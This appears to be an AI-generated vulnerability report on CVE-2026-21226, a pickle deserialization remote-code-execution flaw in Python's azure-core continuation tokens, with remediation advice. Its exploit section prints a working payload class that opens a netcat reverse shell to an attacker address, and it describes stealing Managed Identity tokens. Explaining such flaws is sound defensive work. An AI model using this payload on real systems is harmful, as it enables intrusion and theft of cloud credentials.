CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21226
7.54.50%

Pickled Sky: Unrestricted RCE in Azure Core for Python

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·7 min read·47 visits

PoC AvailableCISA KEV Listed

Executive Summary (TL;DR)

The Azure Core library for Python was catching state in 'continuation tokens' using the unsafe `pickle` format. By crafting a malicious token, an attacker can force the library to deserialize arbitrary code, leading to RCE. Patched in version 1.38.0.

A critical insecure deserialization vulnerability in the `azure-core` Python library allows for Remote Code Execution (RCE). The library, which serves as the foundation for nearly all Azure SDKs, used Python's `pickle` module to serialize continuation tokens for paging and long-running operations. Attackers can supply malicious tokens to trigger arbitrary code execution.

The Hook: Clouds Built on Fragile Ground

In the modern cloud ecosystem, abstraction is king. Developers don't want to think about HTTP retries, authentication handshakes, or the nitty-gritty of pagination. They just want to call client.list_blobs() and iterate through the results. Enter azure-core, the unsung hero (and essentially the circulatory system) of the Microsoft Azure SDK for Python. If you are using azure-storage, azure-identity, or azure-mgmt, you are using azure-core. It handles the plumbing so you don't have to.

One of the specific plumbing features azure-core manages is the concept of Continuation Tokens. When you ask Azure for a list of a million resources, it doesn't send them all at once. It sends a page, and a bookmark—a token—that says, 'If you want the next page, show me this token.' It's a standard pagination pattern. State is offloaded to the client, effectively making the server stateless regarding your specific iteration cursor.

The problem arises in how that bookmark was constructed. Ideally, a continuation token is an opaque string, a simple JSON object, or a signed hash. But in a classic case of 'it works on my machine' architectural shortcuts, the developers opted for Python's native serialization format: pickle. And if you've been in the security game for more than five minutes, seeing the word pickle in a library designed to handle data crossing trust boundaries should make your blood run cold.

The Flaw: The Forbidden Fruit of Serialization

The vulnerability (CWE-502) here is textbook insecure deserialization. Python's pickle module is explicitly not secure against erroneous or maliciously constructed data. The documentation literally comes with a warning box that says 'Never unpickle data received from an untrusted or unauthenticated source.' Yet, that is exactly what azure-core was doing.

Here is the logic flow that led to disaster:

  1. A user initiates a Long-Running Operation (LRO) or a paged query.
  2. The library needs to pause and give the user a way to resume later.
  3. The library takes its internal state object, runs it through pickle.dumps(), base64-encodes it, and hands it to the user as a token.
  4. Later, the user provides that token back to resume the operation.
  5. The library takes the token, base64-decodes it, and feeds it directly into pickle.loads().

The fatal flaw is assuming that the token coming back from the client is the same one the server sent out. In a web application where these tokens might be exposed to the end-user (e.g., via a URL parameter ?nextPage=...), an attacker is not bound by honor to return the original token. They can return anything.

Because pickle is a stack-based virtual machine capable of constructing arbitrary objects during reconstruction, an attacker doesn't need to guess the internal state structure. They just need to construct a pickle stream that defines a class with a __reduce__ method. When the pickle machine encounters this, it executes the specified callable—typically os.system or subprocess.Popen—giving the attacker code execution running with the privileges of the Python process.

The Code: Autopsy of a Vulnerability

Let's look at the smoking gun. While the actual library code is complex, the vulnerability boils down to a few lines in the paging and polling modules. The commit that killed this bug is 6d2e6431ea0991861640e449e51e894247a7771a. It’s a massive refactor, which tells us that ripping out pickle wasn't easy.

The Vulnerable Pattern (Conceptual):

import pickle
import base64
 
class VulnerablePager:
    def get_continuation_token(self):
        # Serialize the entire state object. Easy!
        return base64.b64encode(pickle.dumps(self._internal_state))
 
    def load_from_token(self, token):
        # Deserialize blindly. What could go wrong?
        data = base64.b64decode(token)
        self._internal_state = pickle.loads(data) # <--- BOOM

The Fix (v1.38.0): The patch completely removes pickle from the equation. Instead of serializing arbitrary Python objects, the new implementation strictly defines the data it needs to restore state and serializes it using safe formats (like JSON) or internal logic that validates the structure before assignment.

> [!NOTE] > The fix wasn't just a one-line change. It required changing how azure-core thinks about state persistence, ensuring that only data (strings, ints) is stored, rather than executable code objects.

The Exploit: Cooking a Malicious Pickle

Exploiting this is trivially easy for anyone familiar with Python internals. We don't need buffer overflows or heap grooming. We just need to define what we want Python to do when it sees our data.

The Scenario: Imagine a web application that uses the Azure SDK to list storage blobs. It exposes a continuation_token parameter in the URL to let users page through files.

GET /list_files?token=BaSe64StRiNg...

The Attack:

  1. Craft the Payload: We create a Python script to generate our 'token'.
import pickle
import base64
import os
 
class Exploit(object):
    def __reduce__(self):
        # The command to run on the target server
        cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|' 
               '/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')
        return (os.system, (cmd,))
 
# Generate the malicious token
payload = pickle.dumps(Exploit())
token = base64.b64encode(payload).decode()
print(f"Malicious Token: {token}")
  1. Delivery: The attacker sends the generated base64 string to the vulnerable endpoint. GET /list_files?token=gASV...

  2. Execution: The application receives the token, passes it to azure-core to 'resume' the listing. azure-core decodes it and passes it to pickle.loads(). The __reduce__ method fires immediately during deserialization, executing the reverse shell command. The application hangs (or crashes), but the attacker now has a shell on the server.

The Impact: From Pagination to Pwnage

Why is this a 7.5 (High) and not a critical 10? The CVSS score is slightly tempered by Attack Complexity (High) and Privileges Required (Low). This is because the attacker needs to find an entry point where they can feed a token into the library.

However, in a real-world assessment, the impact is catastrophic:

  • Cloud Identity Theft: Most code running azure-core is running inside Azure (Functions, App Service, AKS) with a Managed Identity. If I get RCE on your pod, I can query the Instance Metadata Service (IMDS), steal your Managed Identity token, and pivot into your Azure subscription. I am now your cloud admin.
  • Data Exfiltration: Since this library is used for storage and database management, the process likely has access to sensitive data. An attacker can simply read environment variables (connection strings!) and exfiltrate them.
  • Supply Chain Effect: This isn't just one app. It's every Python app interacting with Azure that exposes pagination to users. It's a massive surface area.

The Fix: Remediation and Lessons Learned

The remediation is straightforward but urgent.

Immediate Action: Upgrade azure-core to version 1.38.0 or later immediately.

pip install --upgrade azure-core

Verify the Fix: Check your dependency tree. Often azure-core is a transitive dependency (installed by azure-storage-blob or azure-identity). Ensure the resolved version is safe.

pip freeze | grep azure-core

The Lesson: This vulnerability serves as a stark reminder of the dangers of convenience. pickle is convenient. It saves developers from writing serialization schemas. But convenience in security is often synonymous with vulnerability. If you are serializing data to be held by a client, assume the client is a hostile actor. Never use pickle, Marshal, or Java Serialization for data crossing trust boundaries. Stick to JSON, or if you must use binary formats, sign them cryptographically (HMAC) and validate the signature before deserialization.

Official Patches

MicrosoftAzure Core v1.38.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
4.50%
Top 15% most exploited

Affected Systems

Azure SDK for PythonAzure CLI (if using affected core)Python Applications using Azure StoragePython Applications using Azure Management Libraries

Affected Versions Detail

Product
Affected Versions
Fixed Version
azure-core
Microsoft
< 1.38.01.38.0
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
CVSS v3.17.5 (High)
Attack VectorNetwork
Privileges RequiredLow
ImpactRemote Code Execution (RCE)
Affected Componentazure-core < 1.38.0

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.006Command and Scripting Interpreter: Python
Execution
T1553Subvert Trust Controls
Defense Evasion
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

MetasploitPython Pickle RCE Module (Generic)
Internal ResearchPoC demonstrating continuation token manipulation
NucleiDetection Template Available

Vulnerability Timeline

Fix merged in GitHub PR #44609
2026-01-08
azure-core 1.38.0 released on PyPI
2026-01-12
CVE-2026-21226 and GHSA-jm66-cg57-jjv5 published
2026-01-13

References & Sources

  • [1]Microsoft Security Response Center Advisory
  • [2]GitHub Advisory Database

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.